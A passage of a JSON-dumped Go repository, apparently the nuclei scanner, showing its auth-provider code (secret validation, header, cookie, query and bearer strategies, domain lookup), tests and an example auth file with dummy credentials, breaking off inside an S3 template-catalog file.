preserve exact casing (useful for case-sensitive APIs)\n\tCookies         []Cookie `json:\"cookies\" yaml:\"cookies\"`\n\tParams          []KV     `json:\"params\" yaml:\"params\"`\n\tUsername        string   `json:\"username\" yaml:\"username\"` // can be either email or username\n\tPassword        string   `json:\"password\" yaml:\"password\"`\n\tToken           string   `json:\"token\" yaml:\"token\"` // Bearer Auth token\n\tskipCookieParse bool     `json:\"-\" yaml:\"-\"`         // temporary flag to skip cookie parsing (used in dynamic secrets)\n}\n\n// GetStrategy returns the auth strategy for the secret\nfunc (s *Secret) GetStrategy() AuthStrategy {\n\tswitch {\n\tcase strings.EqualFold(s.Type, string(BasicAuth)):\n\t\treturn NewBasicAuthStrategy(s)\n\tcase strings.EqualFold(s.Type, string(BearerTokenAuth)):\n\t\treturn NewBearerTokenAuthStrategy(s)\n\tcase strings.EqualFold(s.Type, string(HeadersAuth)):\n\t\treturn NewHeadersAuthStrategy(s)\n\tcase strings.EqualFold(s.Type, string(CookiesAuth)):\n\t\treturn NewCookiesAuthStrategy(s)\n\tcase strings.EqualFold(s.Type, string(QueryAuth)):\n\t\treturn NewQueryAuthStrategy(s)\n\t}\n\treturn nil\n}\n\nfunc (s *Secret) Validate() error {\n\tif !stringsutil.EqualFoldAny(s.Type, SupportedAuthTypes()...) {\n\t\treturn fmt.Errorf(\"invalid type: %s\", s.Type)\n\t}\n\tif len(s.Domains) == 0 && len(s.DomainsRegex) == 0 {\n\t\treturn fmt.Errorf(\"domains or domains-regex cannot be empty\")\n\t}\n\tif len(s.DomainsRegex) > 0 {\n\t\tfor _, domain := range s.DomainsRegex {\n\t\t\t_, err := regexp.Compile(domain)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"invalid domain regex: %s\", domain)\n\t\t\t}\n\t\t}\n\t}\n\n\tswitch {\n\tcase strings.EqualFold(s.Type, string(BasicAuth)):\n\t\tif s.Username == \"\" {\n\t\t\treturn fmt.Errorf(\"username cannot be empty in basic auth\")\n\t\t}\n\t\tif s.Password == \"\" {\n\t\t\treturn fmt.Errorf(\"password cannot be empty in basic auth\")\n\t\t}\n\tcase strings.EqualFold(s.Type, string(BearerTokenAuth)):\n\t\tif s.Token == \"\" {\n\t\t\treturn fmt.Errorf(\"token cannot be empty in bearer token auth\")\n\t\t}\n\tcase strings.EqualFold(s.Type, string(HeadersAuth)):\n\t\tif len(s.Headers) == 0 {\n\t\t\treturn fmt.Errorf(\"headers cannot be empty in headers auth\")\n\t\t}\n\t\tfor _, header := range s.Headers {\n\t\t\tif err := header.Validate(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"invalid header in headersAuth: %s\", err)\n\t\t\t}\n\t\t}\n\tcase strings.EqualFold(s.Type, string(CookiesAuth)):\n\t\tif len(s.Cookies) == 0 {\n\t\t\treturn fmt.Errorf(\"cookies cannot be empty in cookies auth\")\n\t\t}\n\t\tfor _, cookie := range s.Cookies {\n\t\t\tif cookie.Raw != \"\" && !s.skipCookieParse {\n\t\t\t\tif err := cookie.Parse(); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"invalid raw cookie in cookiesAuth: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err := cookie.Validate(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"invalid cookie in cookiesAuth: %s\", err)\n\t\t\t}\n\t\t}\n\tcase strings.EqualFold(s.Type, string(QueryAuth)):\n\t\tif len(s.Params) == 0 {\n\t\t\treturn fmt.Errorf(\"query cannot be empty in query auth\")\n\t\t}\n\t\tfor _, query := range s.Params {\n\t\t\tif err := query.Validate(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"invalid query in queryAuth: %s\", err)\n\t\t\t}\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"invalid type: %s\", s.Type)\n\t}\n\treturn nil\n}\n\ntype KV struct {\n\tKey   string `json:\"key\" yaml:\"key\"` // Header key (preserves exact casing)\n\tValue string `json:\"value\" yaml:\"value\"`\n}\n\nfunc (k *KV) Validate() error {\n\tif k.Key == \"\" {\n\t\treturn fmt.Errorf(\"key cannot be empty\")\n\t}\n\tif k.Value == \"\" {\n\t\treturn fmt.Errorf(\"value cannot be empty\")\n\t}\n\treturn nil\n}\n\ntype Cookie struct {\n\tKey   string `json:\"key\" yaml:\"key\"`\n\tValue string `json:\"value\" yaml:\"value\"`\n\tRaw   string `json:\"raw\" yaml:\"raw\"`\n}\n\nfunc (c *Cookie) Validate() error {\n\tif c.Raw != \"\" {\n\t\treturn nil\n\t}\n\tif c.Key == \"\" {\n\t\treturn fmt.Errorf(\"key cannot be empty\")\n\t}\n\tif c.Value == \"\" {\n\t\treturn fmt.Errorf(\"value cannot be empty\")\n\t}\n\treturn nil\n}\n\n// Parse parses the cookie\n// in raw the cookie is in format of\n// Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>; Path=<path>; Domain=<domain_name>; Secure; HttpOnly\nfunc (c *Cookie) Parse() error {\n\tif c.Raw == \"\" {\n\t\treturn fmt.Errorf(\"raw cookie cannot be empty\")\n\t}\n\ttmp := strings.TrimPrefix(c.Raw, \"Set-Cookie: \")\n\tslice := strings.Split(tmp, \";\")\n\tif len(slice) == 0 {\n\t\treturn fmt.Errorf(\"invalid raw cookie no ; found\")\n\t}\n\t// first element is the cookie name and value\n\tcookie := strings.Split(slice[0], \"=\")\n\tif len(cookie) == 2 {\n\t\tc.Key = cookie[0]\n\t\tc.Value = cookie[1]\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"invalid raw cookie: %s\", c.Raw)\n}\n\n// GetAuthDataFromFile reads the auth data from file\nfunc GetAuthDataFromFile(file string) (*Authx, error) {\n\text := filepath.Ext(file)\n\tif !generic.EqualsAny(ext, \".yml\", \".yaml\", \".json\") {\n\t\treturn nil, fmt.Errorf(\"invalid file extension: supported extensions are .yml,.yaml and .json got %s\", ext)\n\t}\n\tbin, err := os.ReadFile(file)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ext == \".yml\" || ext == \".yaml\" {\n\t\treturn GetAuthDataFromYAML(bin)\n\t}\n\treturn GetAuthDataFromJSON(bin)\n}\n\n// GetTemplatePathsFromSecretFile reads the template IDs from the secret file\nfunc GetTemplatePathsFromSecretFile(file string) ([]string, error) {\n\tauth, err := GetAuthDataFromFile(file)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar paths []string\n\tfor _, dynamic := range auth.Dynamic {\n\t\tpaths = append(paths, dynamic.TemplatePath)\n\t}\n\treturn paths, nil\n}\n\n// GetAuthDataFromYAML reads the auth data from yaml\nfunc GetAuthDataFromYAML(data []byte) (*Authx, error) {\n\tvar auth Authx\n\terr := yaml.Unmarshal(data, &auth)\n\tif err != nil {\n\t\terrorErr := errkit.FromError(err)\n\t\terrorErr.Msgf(\"could not unmarshal yaml\")\n\t\treturn nil, errorErr\n\t}\n\treturn &auth, nil\n}\n\n// GetAuthDataFromJSON reads the auth data from json\nfunc GetAuthDataFromJSON(data []byte) (*Authx, error) {\n\tvar auth Authx\n\terr := json.Unmarshal(data, &auth)\n\tif err != nil {\n\t\terrorErr := errkit.FromError(err)\n\t\terrorErr.Msgf(\"could not unmarshal json\")\n\t\treturn nil, errorErr\n\t}\n\treturn &auth, nil\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/file_test.go",
    "content": "package authx\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSecretsUnmarshal(t *testing.T) {\n\tloc := \"testData/example-auth.yaml\"\n\tdata, err := GetAuthDataFromFile(loc)\n\trequire.Nil(t, err, \"could not read secrets file\")\n\trequire.NotNil(t, data, \"could not read secrets file\")\n\tfor _, s := range data.Secrets {\n\t\trequire.Nil(t, s.Validate(), \"could not validate secret\")\n\t}\n\tfor _, d := range data.Dynamic {\n\t\trequire.Nil(t, d.Validate(), \"could not validate dynamic\")\n\t}\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/headers_auth.go",
    "content": "package authx\n\nimport (\n\t\"net/http\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\nvar (\n\t_ AuthStrategy = &HeadersAuthStrategy{}\n)\n\n// HeadersAuthStrategy is a strategy for headers auth\ntype HeadersAuthStrategy struct {\n\tData *Secret\n}\n\n// NewHeadersAuthStrategy creates a new headers auth strategy\nfunc NewHeadersAuthStrategy(data *Secret) *HeadersAuthStrategy {\n\treturn &HeadersAuthStrategy{Data: data}\n}\n\n// Apply applies the headers auth strategy to the request\n// NOTE: This preserves exact header casing (e.g., barAuthToken stays as barAuthToken)\n// This is useful for APIs that require case-sensitive header names\nfunc (s *HeadersAuthStrategy) Apply(req *http.Request) {\n\tfor _, header := range s.Data.Headers {\n\t\treq.Header[header.Key] = []string{header.Value}\n\t}\n}\n\n// ApplyOnRR applies the headers auth strategy to the retryable request\n// NOTE: This preserves exact header casing (e.g., barAuthToken stays as barAuthToken)\n// This is useful for APIs that require case-sensitive header names\nfunc (s *HeadersAuthStrategy) ApplyOnRR(req *retryablehttp.Request) {\n\tfor _, header := range s.Data.Headers {\n\t\treq.Header[header.Key] = []string{header.Value}\n\t}\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/query_auth.go",
    "content": "package authx\n\nimport (\n\t\"net/http\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar (\n\t_ AuthStrategy = &QueryAuthStrategy{}\n)\n\n// QueryAuthStrategy is a strategy for query auth\ntype QueryAuthStrategy struct {\n\tData *Secret\n}\n\n// NewQueryAuthStrategy creates a new query auth strategy\nfunc NewQueryAuthStrategy(data *Secret) *QueryAuthStrategy {\n\treturn &QueryAuthStrategy{Data: data}\n}\n\n// Apply applies the query auth strategy to the request\nfunc (s *QueryAuthStrategy) Apply(req *http.Request) {\n\tq := urlutil.NewOrderedParams()\n\tq.Decode(req.URL.RawQuery)\n\tfor _, p := range s.Data.Params {\n\t\tq.Add(p.Key, p.Value)\n\t}\n\treq.URL.RawQuery = q.Encode()\n}\n\n// ApplyOnRR applies the query auth strategy to the retryable request\nfunc (s *QueryAuthStrategy) ApplyOnRR(req *retryablehttp.Request) {\n\tq := urlutil.NewOrderedParams()\n\tq.Decode(req.Request.URL.RawQuery)\n\tfor _, p := range s.Data.Params {\n\t\tq.Add(p.Key, p.Value)\n\t}\n\treq.Request.URL.RawQuery = q.Encode()\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/strategy.go",
    "content": "package authx\n\nimport (\n\t\"net/http\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// AuthStrategy is an interface for auth strategies\n// basic auth , bearer token, headers, cookies, query\ntype AuthStrategy interface {\n\t// Apply applies the strategy to the request\n\tApply(*http.Request)\n\t// ApplyOnRR applies the strategy to the retryable request\n\tApplyOnRR(*retryablehttp.Request)\n}\n\n// DynamicAuthStrategy is an auth strategy for dynamic secrets\n// it implements the AuthStrategy interface\ntype DynamicAuthStrategy struct {\n\t// Dynamic is the dynamic secret to use\n\tDynamic Dynamic\n}\n\n// Apply applies the strategy to the request\nfunc (d *DynamicAuthStrategy) Apply(req *http.Request) {\n\tstrategies := d.Dynamic.GetStrategies()\n\tif strategies == nil {\n\t\treturn\n\t}\n\tfor _, s := range strategies {\n\t\tif s == nil {\n\t\t\tcontinue\n\t\t}\n\t\ts.Apply(req)\n\t}\n}\n\n// ApplyOnRR applies the strategy to the retryable request\nfunc (d *DynamicAuthStrategy) ApplyOnRR(req *retryablehttp.Request) {\n\tstrategy := d.Dynamic.GetStrategies()\n\tfor _, s := range strategy {\n\t\ts.ApplyOnRR(req)\n\t}\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/testData/example-auth.yaml",
    "content": "id: pd-nuclei-auth-test\n\ninfo:\n  name: ProjectDiscovery Test Dev Servers\n  author: pdteam\n  description: |\n    This is a auth file for ProjectDiscovery dev servers.\n    It contains auth data of all projectdiscovery dev servers.\n\n# Note: this is a dummy example file. none of the secrets here are real.\n\n# static secrets\nstatic:\n  # for header based auth session\n  # NOTE: Headers preserve exact casing (e.g., x-pdcp-key stays as x-pdcp-key)\n  # This is useful for APIs that require case-sensitive header names\n  - type: header\n    domains:\n      - api.projectdiscovery.io\n      - cve.projectdiscovery.io\n      - chaos.projectdiscovery.io\n    headers:\n      - key: x-pdcp-key\n        value: <api-key-here>\n      - key: barAuthToken\n        value: <auth-token-here>\n\n  # for query based auth session\n  - type: Query\n    domains:\n      - scanme.sh\n    params:\n      - key: token\n        value: 1a2b3c4d5e6f7g8h9i0j\n\n  # for cookie based auth session\n  - type: Cookie\n    domains:\n      - scanme.sh\n    cookies:\n      - key: PHPSESSID\n        value: 1a2b3c4d5e6f7g8h9i0j\n\n  # for basic auth session\n  - type: BasicAuth\n    domains:\n      - scanme.sh\n    username: test\n    password: test\n\n  # for authorization bearer token\n  - type: BearerToken\n    domains-regex:\n      - .*scanme.sh\n      - .*pdtm.sh\n    token: test\n\n\n# dynamic secrets (powered by nuclei-templates)\ndynamic:\n  - template: /path/to/wordpress-login.yaml\n    variables:\n      - name: username\n        value: pdteam\n      - name: password\n        value: nuclei-v3.2.0\n    type: Cookie\n    domains:\n      - localhost:8080\n    cookies:\n      - raw: \"{{wp-global-cookie}}\"\n      - raw: \"{{wp-admin-cookie}}\"\n      - raw: \"{{wp-plugin-cookie}}\"\n\n"
  },
  {
    "path": "pkg/authprovider/file.go",
    "content": "package authprovider\n\nimport (\n\t\"net\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// FileAuthProvider is an auth provider for file based auth\n// it accepts a secrets file and returns its provider\ntype FileAuthProvider struct {\n\tPath     string\n\tstore    *authx.Authx\n\tcompiled map[*regexp.Regexp][]authx.AuthStrategy\n\tdomains  map[string][]authx.AuthStrategy\n}\n\n// NewFileAuthProvider creates a new file based auth provider\nfunc NewFileAuthProvider(path string, callback authx.LazyFetchSecret) (AuthProvider, error) {\n\tstore, err := authx.GetAuthDataFromFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(store.Secrets) == 0 && len(store.Dynamic) == 0 {\n\t\treturn nil, ErrNoSecrets\n\t}\n\tif len(store.Dynamic) > 0 && callback == nil {\n\t\treturn nil, errkit.New(\"lazy fetch callback is required for dynamic secrets\")\n\t}\n\tfor _, secret := range store.Secrets {\n\t\tif err := secret.Validate(); err != nil {\n\t\t\terrorErr := errkit.FromError(err)\n\t\t\terrorErr.Msgf(\"invalid secret in file: %s\", path)\n\t\t\treturn nil, errorErr\n\t\t}\n\t}\n\tfor i, dynamic := range store.Dynamic {\n\t\tif err := dynamic.Validate(); err != nil {\n\t\t\terrorErr := errkit.FromError(err)\n\t\t\terrorErr.Msgf(\"invalid dynamic in file: %s\", path)\n\t\t\treturn nil, errorErr\n\t\t}\n\t\tdynamic.SetLazyFetchCallback(callback)\n\t\tstore.Dynamic[i] = dynamic\n\t}\n\tf := &FileAuthProvider{Path: path, store: store}\n\tf.init()\n\treturn f, nil\n}\n\n// init initializes the file auth provider\nfunc (f *FileAuthProvider) init() {\n\tfor _, _secret := range f.store.Secrets {\n\t\tsecret := _secret // allocate copy of pointer\n\t\tif len(secret.DomainsRegex) > 0 {\n\t\t\tfor _, domain := range secret.DomainsRegex {\n\t\t\t\tif f.compiled == nil {\n\t\t\t\t\tf.compiled = make(map[*regexp.Regexp][]authx.AuthStrategy)\n\t\t\t\t}\n\t\t\t\tcompiled, err := regexp.Compile(domain)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif ss, ok := f.compiled[compiled]; ok {\n\t\t\t\t\tf.compiled[compiled] = append(ss, secret.GetStrategy())\n\t\t\t\t} else {\n\t\t\t\t\tf.compiled[compiled] = []authx.AuthStrategy{secret.GetStrategy()}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor _, domain := range secret.Domains {\n\t\t\tif f.domains == nil {\n\t\t\t\tf.domains = make(map[string][]authx.AuthStrategy)\n\t\t\t}\n\t\t\tdomain = strings.TrimSpace(domain)\n\t\t\tdomain = strings.TrimSuffix(domain, \":80\")\n\t\t\tdomain = strings.TrimSuffix(domain, \":443\")\n\t\t\tif ss, ok := f.domains[domain]; ok {\n\t\t\t\tf.domains[domain] = append(ss, secret.GetStrategy())\n\t\t\t} else {\n\t\t\t\tf.domains[domain] = []authx.AuthStrategy{secret.GetStrategy()}\n\t\t\t}\n\t\t}\n\t}\n\tfor _, dynamic := range f.store.Dynamic {\n\t\tdomain, domainsRegex := dynamic.GetDomainAndDomainRegex()\n\n\t\tif len(domainsRegex) > 0 {\n\t\t\tfor _, domain := range domainsRegex {\n\t\t\t\tif f.compiled == nil {\n\t\t\t\t\tf.compiled = make(map[*regexp.Regexp][]authx.AuthStrategy)\n\t\t\t\t}\n\t\t\t\tcompiled, err := regexp.Compile(domain)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif ss, ok := f.compiled[compiled]; !ok {\n\t\t\t\t\tf.compiled[compiled] = []authx.AuthStrategy{&authx.DynamicAuthStrategy{Dynamic: dynamic}}\n\t\t\t\t} else {\n\t\t\t\t\tf.compiled[compiled] = append(ss, &authx.DynamicAuthStrategy{Dynamic: dynamic})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor _, domain := range domain {\n\t\t\tif f.domains == nil {\n\t\t\t\tf.domains = make(map[string][]authx.AuthStrategy)\n\t\t\t}\n\t\t\tdomain = strings.TrimSpace(domain)\n\t\t\tdomain = strings.TrimSuffix(domain, \":80\")\n\t\t\tdomain = strings.TrimSuffix(domain, \":443\")\n\n\t\t\tif ss, ok := f.domains[domain]; !ok {\n\t\t\t\tf.domains[domain] = []authx.AuthStrategy{&authx.DynamicAuthStrategy{Dynamic: dynamic}}\n\t\t\t} else {\n\t\t\t\tf.domains[domain] = append(ss, &authx.DynamicAuthStrategy{Dynamic: dynamic})\n\t\t\t}\n\t\t}\n\t}\n}\n\n// LookupAddr looks up a given domain/address and returns appropriate auth strategy\nfunc (f *FileAuthProvider) LookupAddr(addr string) []authx.AuthStrategy {\n\tvar strategies []authx.AuthStrategy\n\n\tif strings.Contains(addr, \":\") {\n\t\t// default normalization for host:port\n\t\thost, port, err := net.SplitHostPort(addr)\n\t\tif err == nil && (port == \"80\" || port == \"443\") {\n\t\t\taddr = host\n\t\t}\n\t}\n\tfor domain, strategy := range f.domains {\n\t\tif strings.EqualFold(domain, addr) {\n\t\t\tstrategies = append(strategies, strategy...)\n\t\t}\n\t}\n\tfor compiled, strategy := range f.compiled {\n\t\tif compiled.MatchString(addr) {\n\t\t\tstrategies = append(strategies, strategy...)\n\t\t}\n\t}\n\n\treturn strategies\n}\n\n// LookupURL looks up a given URL and returns appropriate auth strategy\nfunc (f *FileAuthProvider) LookupURL(u *url.URL) []authx.AuthStrategy {\n\treturn f.LookupAddr(u.Host)\n}\n\n// LookupURLX looks up a given URL and returns appropriate auth strategy\nfunc (f *FileAuthProvider) LookupURLX(u *urlutil.URL) []authx.AuthStrategy {\n\treturn f.LookupAddr(u.Host)\n}\n\n// GetTemplatePaths returns the template path for the auth provider\nfunc (f *FileAuthProvider) GetTemplatePaths() []string {\n\tres := []string{}\n\tfor _, dynamic := range f.store.Dynamic {\n\t\tif dynamic.TemplatePath != \"\" {\n\t\t\tres = append(res, dynamic.TemplatePath)\n\t\t}\n\t}\n\treturn res\n}\n\n// PreFetchSecrets pre-fetches the secrets from the auth provider\nfunc (f *FileAuthProvider) PreFetchSecrets() error {\n\tfor _, ss := range f.domains {\n\t\tfor _, s := range ss {\n\t\t\tif val, ok := s.(*authx.DynamicAuthStrategy); ok {\n\t\t\t\tif err := val.Dynamic.Fetch(false); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tfor _, ss := range f.compiled {\n\t\tfor _, s := range ss {\n\t\t\tif val, ok := s.(*authx.DynamicAuthStrategy); ok {\n\t\t\t\tif err := val.Dynamic.Fetch(false); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/authprovider/file_test.go",
    "content": "package authprovider\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestFileAuthProviderDynamicSecretConcurrentAccess(t *testing.T) {\n\tsecretFile := filepath.Join(t.TempDir(), \"secret.yaml\")\n\tsecretData := []byte(`id: test-auth\ninfo:\n  name: test\n  author: test\n  severity: info\ndynamic:\n  - template: auth-template.yaml\n    variables:\n      - key: username\n        value: test\n    type: Header\n    domains:\n      - example.com\n    headers:\n      - key: Authorization\n        value: \"Bearer {{token}}\"\n`)\n\trequire.NoError(t, os.WriteFile(secretFile, secretData, 0o600))\n\n\tvar fetchCalls atomic.Int32\n\tprovider, err := NewFileAuthProvider(secretFile, func(dynamic *authx.Dynamic) error {\n\t\tfetchCalls.Add(1)\n\t\ttime.Sleep(75 * time.Millisecond)\n\t\tdynamic.Extracted = map[string]interface{}{\"token\": \"session-token\"}\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\n\tconst workers = 20\n\tbarrier := make(chan struct{})\n\terrs := make(chan error, workers)\n\tvar wg sync.WaitGroup\n\twg.Add(workers)\n\n\tfor i := 0; i < workers; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\t<-barrier\n\n\t\t\tstrategies := provider.LookupAddr(\"example.com\")\n\t\t\tif len(strategies) == 0 {\n\t\t\t\terrs <- fmt.Errorf(\"no auth strategies found\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\treq, reqErr := http.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\t\t\tif reqErr != nil {\n\t\t\t\terrs <- reqErr\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfor _, strategy := range strategies {\n\t\t\t\tstrategy.Apply(req)\n\t\t\t}\n\t\t\tif got := req.Header.Get(\"Authorization\"); got != \"Bearer session-token\" {\n\t\t\t\terrs <- fmt.Errorf(\"expected Authorization header to be set, got %q\", got)\n\t\t\t}\n\t\t}()\n\t}\n\n\tclose(barrier)\n\twg.Wait()\n\tclose(errs)\n\n\tfor gotErr := range errs {\n\t\trequire.NoError(t, gotErr)\n\t}\n\trequire.Equal(t, int32(1), fetchCalls.Load(), \"dynamic secret fetch should execute once\")\n}\n"
  },
  {
    "path": "pkg/authprovider/interface.go",
    "content": "package authprovider\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar (\n\tErrNoSecrets = fmt.Errorf(\"no secrets in given provider\")\n)\n\nvar (\n\t_ AuthProvider = &FileAuthProvider{}\n)\n\n// AuthProvider is an interface for auth providers\n// It implements a data structure suitable for quick lookup and retrieval\n// of auth strategies\ntype AuthProvider interface {\n\t// LookupAddr looks up a given domain/address and returns appropriate auth strategy\n\t// for it (accepted inputs are scanme.sh or scanme.sh:443)\n\tLookupAddr(string) []authx.AuthStrategy\n\t// LookupURL looks up a given URL and returns appropriate auth strategy\n\t// it accepts a valid url struct and returns the auth strategy\n\tLookupURL(*url.URL) []authx.AuthStrategy\n\t// LookupURLX looks up a given URL and returns appropriate auth strategy\n\t// it accepts pd url struct (i.e urlutil.URL) and returns the auth strategy\n\tLookupURLX(*urlutil.URL) []authx.AuthStrategy\n\t// GetTemplatePaths returns the template path for the auth provider\n\t// that will be used for dynamic secret fetching\n\tGetTemplatePaths() []string\n\t// PreFetchSecrets pre-fetches the secrets from the auth provider\n\t// instead of lazy fetching\n\tPreFetchSecrets() error\n}\n\n// AuthProviderOptions contains options for the auth provider\ntype AuthProviderOptions struct {\n\t// File based auth provider options\n\tSecretsFiles []string\n\t// LazyFetchSecret is a callback for lazy fetching of dynamic secrets\n\tLazyFetchSecret authx.LazyFetchSecret\n}\n\n// NewAuthProvider creates a new auth provider from the given options\nfunc NewAuthProvider(options *AuthProviderOptions) (AuthProvider, error) {\n\tvar providers []AuthProvider\n\tfor _, file := range options.SecretsFiles {\n\t\tprovider, err := NewFileAuthProvider(file, options.LazyFetchSecret)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tproviders = append(providers, provider)\n\t}\n\treturn NewMultiAuthProvider(providers...), nil\n}\n"
  },
  {
    "path": "pkg/authprovider/multi.go",
    "content": "package authprovider\n\nimport (\n\t\"net/url\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// MultiAuthProvider is a convenience wrapper for multiple auth providers\n// it returns the first matching auth strategy for a given domain\n// if there are multiple auth strategies for a given domain, it returns the first one\ntype MultiAuthProvider struct {\n\tProviders []AuthProvider\n}\n\n// NewMultiAuthProvider creates a new multi auth provider\nfunc NewMultiAuthProvider(providers ...AuthProvider) AuthProvider {\n\treturn &MultiAuthProvider{Providers: providers}\n}\n\nfunc (m *MultiAuthProvider) LookupAddr(host string) []authx.AuthStrategy {\n\tfor _, provider := range m.Providers {\n\t\tstrategy := provider.LookupAddr(host)\n\t\tif len(strategy) > 0 {\n\t\t\treturn strategy\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (m *MultiAuthProvider) LookupURL(u *url.URL) []authx.AuthStrategy {\n\tfor _, provider := range m.Providers {\n\t\tstrategy := provider.LookupURL(u)\n\t\tif strategy != nil {\n\t\t\treturn strategy\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (m *MultiAuthProvider) LookupURLX(u *urlutil.URL) []authx.AuthStrategy {\n\tfor _, provider := range m.Providers {\n\t\tstrategy := provider.LookupURLX(u)\n\t\tif strategy != nil {\n\t\t\treturn strategy\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (m *MultiAuthProvider) GetTemplatePaths() []string {\n\tvar res []string\n\tfor _, provider := range m.Providers {\n\t\tres = append(res, provider.GetTemplatePaths()...)\n\t}\n\treturn res\n}\n\nfunc (m *MultiAuthProvider) PreFetchSecrets() error {\n\tfor _, provider := range m.Providers {\n\t\tif err := provider.PreFetchSecrets(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/catalog/aws/catalog.go",
    "content": "package aws\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"path\"\n\t\"slices\"\n\t\"strings\"\n\n\t\"github.com/aws/aws-sdk-go-v2/aws\"\n\t\"github.com/aws/aws-sdk-go-v2/config\"\n\t\"github.com/aws/aws-sdk-go-v2/credentials\"\n\t\"github.com/aws/aws-sdk-go-v2/feature/s3/manager\"\n\t\"github.com/aws/aws-sdk-go-v2/service/s3\"\n)\n\n// Catalog manages the AWS S3 template catalog\ntype Catalog struct {\n\tsvc client\n}\n\n// client interface abstracts S3 connections\ntype client interface {\n\tgetAllKeys() ([]string, error)\n\tdownloadKey(name string) (io.ReadCloser, error)\n\tsetBucket(bucket string)\n}\n\ntype s3svc struct {\n\tclient *s3.Client\n\tbucket string\n}\n\n// NewCatalog creates a new AWS Catalog object given a required S3 bucket name and optional configurations. If\n// no configurations to set AWS keys are provided then environment variables will be used to obtain AWS credentials.\nfunc NewCatalog(bucket string, configurations ...func(*Catalog) error) (Catalog, error) {\n\tvar c Catalog\n\n\tfor _, configuration := range configurations {\n\t\terr := configuration(&c)\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\t}\n\n\tif c.svc == nil {\n\t\tcfg, err := config.LoadDefaultConfig(context.TODO())\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\n\t\tc.svc = &s3svc{\n\t\t\tclient: s3.NewFromConfig(cfg),\n\t\t}\n\t}\n\tc.svc.setBucket(bucket)\n\n\treturn c, nil\n}\n\n// WithAWSKeys enables explicitly setting the AWS access key, secret key and region\nfunc WithAWSKeys(accessKey, secretKey, region string) func(*Catalog) error {\n\treturn func(c *Catalog) error {\n\t\tcfg, err := config.LoadDefaultConfig(context.TODO(),\n\t\t\tconfig.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(accessKey, secretKey, \"\")),\n\t\t\tconfig.WithRegion(region))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tc.svc = &s3svc{\n\t\t\tclient: s3.NewFromConfig(cfg),\n\t\t\tbucket: \"\",\n\t\t}\n\n\t\treturn nil\n\t}\n}\n\n// OpenFile downloads a file from S3 and returns the contents as an io.ReadCloser\nfunc (c Catalog) OpenFile(filename string) (io.ReadCloser, error) {\n\tif filename == \"\" {\n\t\treturn nil, errors.New(\"empty filename\")\n\t}\n\n\treturn c.svc.downloadKey(filename)\n}\n\n// GetTemplatePath looks for a target string performing a simple substring check\n// against all S3 keys. If the input includes a wildcard (*) it is removed.\nfunc (c Catalog) GetTemplatePath(target string) ([]string, error) {\n\ttarget = strings.ReplaceAll(target, \"*\", \"\")\n\n\tkeys, err := c.svc.getAllKeys()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar matches []string\n\tfor _, key := range 